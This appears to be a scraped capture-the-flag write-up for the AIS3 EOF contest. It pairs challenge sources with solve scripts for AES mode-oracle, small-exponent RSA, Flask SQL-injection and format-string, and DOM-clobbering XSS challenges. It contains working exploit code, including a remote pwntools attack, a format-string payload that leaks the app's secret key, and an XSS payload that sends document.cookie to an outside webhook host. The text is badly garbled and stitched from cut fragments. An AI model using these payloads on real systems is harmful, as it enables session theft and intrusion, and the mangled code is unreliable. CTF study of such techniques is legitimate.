#! /usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l from secret import FLAG from os import urandom from base64 import b64encode, b64decode
# These modes of Block Cipher are just like Stream Cipher. Do you know them? AES_enc = AES.new(urandom(16), AES.MODE_ECB).encrypt defAES_CFB (iv, pt): ct = b"" for i inrange(0, len(pt), 16): _ct = XOR(AES_enc(iv), pt[i : i + 16]) iv = _ct ct += _ct return ct
defAES_OFB (iv, pt): ct = b"" for i inrange(0, len(pt), 16): iv = AES_enc(iv) ct += XOR(iv, pt[i : i + 16]) return ct
defAES_CTR (iv, pt): ct = b"" for i inrange(0, len(pt), 16): ct += XOR(AES_enc(iv), pt[i : i + 16]) iv = counter_add(iv) return ct
from pwn import * from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l from secret import FLAG from os import urandom from base64 import b64encode, b64decode import re
defAES_CTR(pt): io.sendlineafter(b'What operation mode do you want for encryption? ', b'CTR') io.sendlineafter(b'What message do you want to encrypt (in base64)? ', b64encode(pt)) t = io.recvline().decode() returnlist(map(b64decode, re.findall(r"b'([A-Za-z0-9+/=]+)'", t)))
defAES_CFB(pt): io.sendlineafter(b'What operation mode do you want for encryption? ', b'CFB') io.sendlineafter(b'What message do you want to encrypt (in base64)? ', b64encode(pt)) t = io.recvline().decode() returnlist(map(b64decode, re.findall(r"b'([A-Za-z0-9+/=]+)'", t)))
defAES_enc(prev_enc, pt): m = xor(prev_enc, pt)+bytes(16) _, t = AES_CFB(m) return t[16:32]
defmain(): global io # context.log_level = 'debug'
# Step1: get the first block of the flag (see ctf.goodnotes p21). io = remote('chal1.eof.ais3.org', 10003) ctr0, r1, r2, r3 = do_init() r1_lo, r1_hi = r1[16:], r1[:16] r2_lo, r2_hi = r2[16:], r2[:16] r3_lo, r3_hi = r3[16:], r3[:16]
# 1.1: Get f(CTR3~CTR7) by abusing the CTR mode. encrypted_ctr = [bytes(16), bytes(16), bytes(16)] ctr = [ctr0] for i inrange(10): ctr += [counter_add(ctr[-1])] m = bytes(16) * 5 _, t = AES_CTR(m) encrypted_ctr += [t[i:i+16] for i inrange(0, len(t), 16)]
# 1.2: Get c1_hi by getting f(CTR0) by using CFB mode. encrypted_ctr[0] = AES_enc(encrypted_ctr[4], ctr0) c1_hi = xor(r1_hi, encrypted_ctr[0])
# 1.3: Get c2_hi by getting f(CTR1) by using CFB mode. encrypted_ctr[1] = AES_enc(encrypted_ctr[5], ctr[1]) c2_hi = xor(r2_hi, encrypted_ctr[1])
# 1.4: Get c3_hi by getting f(CTR2) by using CFB mode. encrypted_ctr[2] = AES_enc(encrypted_ctr[6], ctr[2]) c3_hi = xor(r3_hi, encrypted_ctr[2]) flag_hi = xor(xor(c1_hi, c2_hi), c3_hi)
io.close() # Step2: get the second block of the flag (see ctf.goodnotes p22). io = remote('chal1.eof.ais3.org', 10003) ctr0, r1, r2, r3 = do_init() r1_lo, r1_hi = r1[16:], r1[:16] r2_lo, r2_hi = r2[16:], r2[:16] r3_lo, r3_hi = r3[16:], r3[:16]
# 2.1: Get f(CTR3~CTR7) by abusing the CTR mode. encrypted_ctr = [bytes(16), bytes(16), bytes(16)] ctr = [ctr0] for i inrange(10): ctr += [counter_add(ctr[-1])] m = bytes(16) * 5 _, t = AES_CTR(m) encrypted_ctr += [t[i:i+16] for i inrange(0, len(t), 16)]
# 2.2: Get c3_lo c3_lo = xor(r3_lo, encrypted_ctr[3])
#! /usr/bin/python3 from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime import os
from secret import FLAG
defencrypt(m, e, n): enc = pow(bytes_to_long(m), e, n) return enc
defdecrypt(c, d, n): dec = pow(c, d, n) return long_to_bytes(dec)
if __name__ == "__main__": whileTrue: p = getPrime(1024) q = getPrime(1024) n = p * q phi = (p - 1) * (q - 1) e = 3 if phi % e != 0 : d = pow(e, -1, phi) break print(f"{n=}, {e=}") print("FLAG: ", encrypt(FLAG, e, n)) for _ inrange(3): try: c = int(input("Any message for me?")) m = decrypt(c, d, n) print("How beautiful the message is, it makes me want to destroy it .w.") new_m = long_to_bytes(bytes_to_long(m) ^ bytes_to_long(os.urandom(8))) print( "New Message: ", encrypt(new_m, e, n) ) except: print("?") exit()
from Crypto.Util.number import bytes_to_long, long_to_bytes import gmpy2 from multiprocessing import Pool
n = 18677933168008233862726486577615630655319899601079688523367573745599357704234954802606818193834340309017021320677505092036507176460474518323934167205811675647066354154003096437643854109757426215393592066709055528097663981374737741676075848125072975533078499675096215639292570270742596700082287038458911644658840064362092328187053039741690011255833915096067741900819952870995931030767145062100485555219579387507654507263015000954439171215725772023228903943537448091846694158281548182640944828147736677816417468469997270202646430776889002467958011398515921293723471619625369793121962920137825434330357333100968436901363 e = 3 cipher = 10747762371744113694915117977685831647243063426258867025246542454281413004395728404414997829085670181608688805695780144233171759525425915063492864356921417912617435994793798664951855523818662133187209620367456710600952496639238651569585369752857234291480253383212138775832709377163452540364024163787037218553815099859550383283482004814711037273293597074648733123770764270333138241737517359455992214762107750515080661954119778825619368396986417699290849012823448972411843095725133092773317468286178984744285290289523530305964999138569734106290992210589931329921740355337560474032356456348227285559430754173028152146829
defcalc(j): a, b = gmpy2.iroot(cipher + j * n, 3) if b: m = a print(a) pool.terminate() exit()
if __name__ == '__main__': print('start') for i inrange(2, 1000): inputs = list(range(i*1300000000, (i+1)*1300000000)) pool = Pool() SmallE(pool, inputs)
chall.py(7): while b > 0: chall.py(8): if b & 1: chall.py(10): a = a * a % c chall.py(11): b >>= 1 chall.py(7): while b > 0: chall.py(8): if b & 1: chall.py(9): r = r * a % c chall.py(10): a = a * a % c chall.py(11): b >>= 1
e = 65537 d = 5101801443646397883483649170711170753234288161361773661762267166670179416556559190427195380873279363761215171667505597871909277180369455688905853902851511957294097171528948752094516781787608497291367416956588726814365926794388082060260619009730659392647647183772109356047401908345247677863524649904486204063359228076187213874784965513396420313348261358686843941101370583844255574015452239829051373299609614220223415202652069231016999861457802731973618111317817882297440966346381327329884300940871115228723365465279897915245876502552066550508521644906050605125454361858778807676176500042058934481320604247881283668369 de = 13276162869538876820874967265930056273649821619291298913244678460731677163640678305685273823105113895367225533853291553801325875520385932495430214453460548860194545946112644881109909538249310237449556876534727907963595095029052171691339165402792733339261655900920961198996199989377674756625799235936728573076768127693113603993732186868748440535297125037449014063636229263789966156722768008526078395777378361515086870396392457829916442048280036101237518748017569176962448117126360698491514070294578349308480127662663812119497411355259763448291144909096083219209280990495370006375298518756352954590671780820925176304199 de = 13276162869538876820874967265930056273649821619291298913244678460731677163640678305685273823105113895367225533853291553801325875520385932495430214453460548860194545946112644881109909538249310237449556876534727907963595095029052171691339165402792733339261655900920961198996199989377674756625799235936728573076768127693113603993732186868748440535297125037449014063636229263789966156722768008526078395777378361515086870396392457829916442048280036101237518748017569176962448117126360698491514070294578349308480127662663812119497411355259763448291144909096083219209280990495370006375298518756352954590671780820925176304199 ed = 14178888196465870186414627544539738124175295799257361983571071401002490264356000205140624665964615117430908950811645434229282649592982503773550326965082848689996525573201025300967877866012120037776271706799402946789537352857058456806620058888835737896317733033515185417035478990005398169721145688234245222237127842180506837927161003149517825433035255875230037645923078721253521812513852140879603355907765537367169478024192131596492564365613729739156664379932946145950302495371710257137426568151836679601945287133446134485087864897384934692046523396057840552348965365284377470932666797865632180694441755450786806257428 ed = 14178888196465870186414627544539738124175295799257361983571071401002490264356000205140624665964615117430908950811645434229282649592982503773550326965082848689996525573201025300967877866012120037776271706799402946789537352857058456806620058888835737896317733033515185417035478990005398169721145688234245222237127842180506837927161003149517825433035255875230037645923078721253521812513852140879603355907765537367169478024192131596492564365613729739156664379932946145950302495371710257137426568151836679601945287133446134485087864897384934692046523396057840552348965365284377470932666797865632180694441755450786806257428 c = 13915994134818567092320017429461441897582217944947848816354742821788867625203713787439088076241510905748342319375749688453493070761353427425774859287985622631002647446579390523120186272531930950683841742209652262950816847383288713246110183999674385586805065806527076870260121038631281290832370953178851666970475914655341016607144457997740491032560593457888617390667018836503627735976330627032307586776585514389001015254506008110558082161693141810334711526691831019894639593520974340262286493544527759201468204705820888719252694759067355825740098465416409062164860553911095104641228683397166900030958537312789960813376 c = 13915994134818567092320017429461441897582217944947848816354742821788867625203713787439088076241510905748342319375749688453493070761353427425774859287985622631002647446579390523120186272531930950683841742209652262950816847383288713246110183999674385586805065806527076870260121038631281290832370953178851666970475914655341016607144457997740491032560593457888617390667018836503627735976330627032307586776585514389001015254506008110558082161693141810334711526691831019894639593520974340262286493544527759201468204705820888719252694759067355825740098465416409062164860553911095104641228683397166900030958537312789960813376 c = 13915994134818567092320017429461441897582217944947848816354742821788867625203713787439088076241510905748342319375749688453493070761353427425774859287985622631002647446579390523120186272531930950683841742209652262950816847383288713246110183999674385586805065806527076870260121038631281290832370953178851666970475914655341016607144457997740491032560593457888617390667018836503627735976330627032307586776585514389001015254506008110558082161693141810334711526691831019894639593520974340262286493544527759201468204705820888719252694759067355825740098465416409062164860553911095104641228683397166900030958537312789960813376
# http://web:7777 from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler from urllib.parse import urlparse, parse_qs import re, os
if os.path.exists("/flag"): withopen("/flag") as f: FLAG = f.read().strip() else: FLAG = os.environ.get("FLAG", "flag{this_is_a_fake_flag}") URL_REGEX = re.compile(r"https?://[a-zA-Z0-9.]+(/[a-zA-Z0-9./?#]*)?")
if __name__ == "__main__": server = ThreadingHTTPServer(("", 7777), RequestHandler) server.allow_reuse_address = True print("Starting server, use <Ctrl-C> to stop") server.serve_forever()
Specifies that a given location can only be used for internal requests. For external requests, the client error 404 (Not Found) is returned. Internal requests are the following:
defdb(): db = getattr(g, "_database", None) if db isNone: db = g._database = sqlite3.connect("/tmp/db.sqlite3") db.row_factory = sqlite3.Row return db
@app.teardown_appcontext defclose_connection(exception): db = getattr(g, "_database", None) if db isnotNone: db.close()
with app.app_context(): db = sqlite3.connect("/tmp/db.sqlite3") cursor = db.cursor() cursor.executescript( """ CREATE TABLE IF NOT EXISTS copypasta_template ( id TEXT, title, template TEXT, PRIMARY KEY (id) ); """ ) cursor.execute( """ CREATE TABLE IF NOT EXISTS copypasta ( id TEXT, orig_id TEXT, PRIMARY KEY (id) ); """ ) cursor.execute( "INSERT OR IGNORE INTO copypasta_template (id, title, template) VALUES (?,?,?), (?,?,?), (?,?,?)", ("1", "求求你們不要再貼疑似...", "求求你們不要再貼疑似{field[event]}的{field[media]}\n我從{field[when]}的時候就開始{field[action]}\n每當我被生活壓得喘不過氣來的時候\n只要聽到{field[hope]}\n就能找回活下去的希望\n昨天看到了那段{field[media]}\n雖然我知道{field[media]}是{field[who]}的可能性很少 畢竟有那麽多{field[similar]}\n難免會有相似的存在\n但是那個{field[thing]}真的太像了 我一看到就能反應過來\n感覺世界開始逐漸崩塌\n求求你們不要再討論這件事了\n再這樣下去我連唯一支持自己活下去的理由都沒有了", "2", "宿儺太強了...", "{field[character]}太強了\n而且{field[character]}還沒有使出全力的樣子\n對方就算沒有{field[object]}也會贏\n我甚至覺得有點對不起他\n我沒能在這場戰鬥讓{field[character]}展現他的全部給我\n殺死我的不是{field[thing1]}或{field[thing2]}\n而是比我更強的傢伙,真是太好了", "3", "FLAG???", "The flag is: {field[flag]}") )
# add flag flag_uuid = str(uuid.uuid4()) cursor.execute( "INSERT OR IGNORE INTO copypasta (id, orig_id) VALUES (?,?)", (flag_uuid, "3") ) open(f'posts/{flag_uuid}', 'w').write( "The flag is: " + "FLAG{test flag}" )
db.commit() db.close()
@app.route("/") defindex(): if session.get('posts') isNone: session['posts'] = [] templates = db().cursor().execute( "SELECT * FROM copypasta_template" ).fetchall() return render_template("index.html", templates=templates)
@app.get("/use") defcreate(): id = request.args.get("id") tmpl = db().cursor().execute( f"SELECT * FROM copypasta_template WHERE id = {id}" ).fetchone() content = tmpl["template"] fields = dict.fromkeys(re.findall(r"{field\[([^}]+)\]}", content)) content = re.sub(r"{field\[([^}]+)\]}", r"{\1}", tmpl["template"])
@app.post("/use") defcreate_post(): id = request.args.get("id") tmpl = db().cursor().execute( f"SELECT * FROM copypasta_template WHERE id = {id}" ).fetchone() content = tmpl["template"]
res = content.format(field=request.form) id = str(uuid.uuid4()) db().cursor().execute( "INSERT INTO copypasta (id, orig_id) VALUES (?, ?)", (id, tmpl["id"]) ) db().commit()
# Initialize the session to make `session['posts'] != None` to prevent 500 s.get(URL)
# To get the secret key # https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#python-format-string r = s.post(f'''{URL}/use?id={payload.format("_______{field.__init__.__globals__[__loader__].__init__.__globals__[sys].modules[app].app.secret_key}______")}''', data={ 'flag': 'fllll' }) print(html.unescape(r.text))
這題是賽後解的, 利用到的特性是 pupteer 在點擊指定的 element 的時候, 其實會先取得他的座標, 再去點擊那個座標, 所以如果在那上面有其他元素, 就會點到那個元素, 所以把可以 XSS 利用的按鈕用 style (因為有 Dompurify 所以能插入的東西有限) 放到最大最高的地方讓 pupteer 誤點, 再串 Dom Clobbering 來觸發 XSS 的點就拿的到 flag 了.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
padding to preserve style tag...... <style> #form { display: block !important; } #preview_btn { display: block !important ; z-index: 100!important ; position: fixed !important ; width: 100%!important ; height: 100%!important ; left: 0%!important ; top: 0%!important ; } </style> <aid="html_text"></a> <aid="res"></a> <!-- Use cid protocol to prevent our tag being url encoded, use atob to prevent ? from appearing, since it would cause the thing following it to be url encoded too.--> <ahref="cid:<img src=x onerror=location=atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvZGRiZDBkN2EtODQ5NC00ZGJlLWI3NjYtZWVjYjhiMDUwOTFiPw==')+document.cookie;>"id="res"name="text"></a>
for i, c inenumerate(k_target): s.add(flag[i] == c)
assert s.check() == sat m = s.model() flag = bytes([m[x].as_long() for x in flag_init]).decode() print(flag) # AIS3{4re_Y0u_@_sTAtEfUl_OR_S7@TeL3Ss_Ctf3R}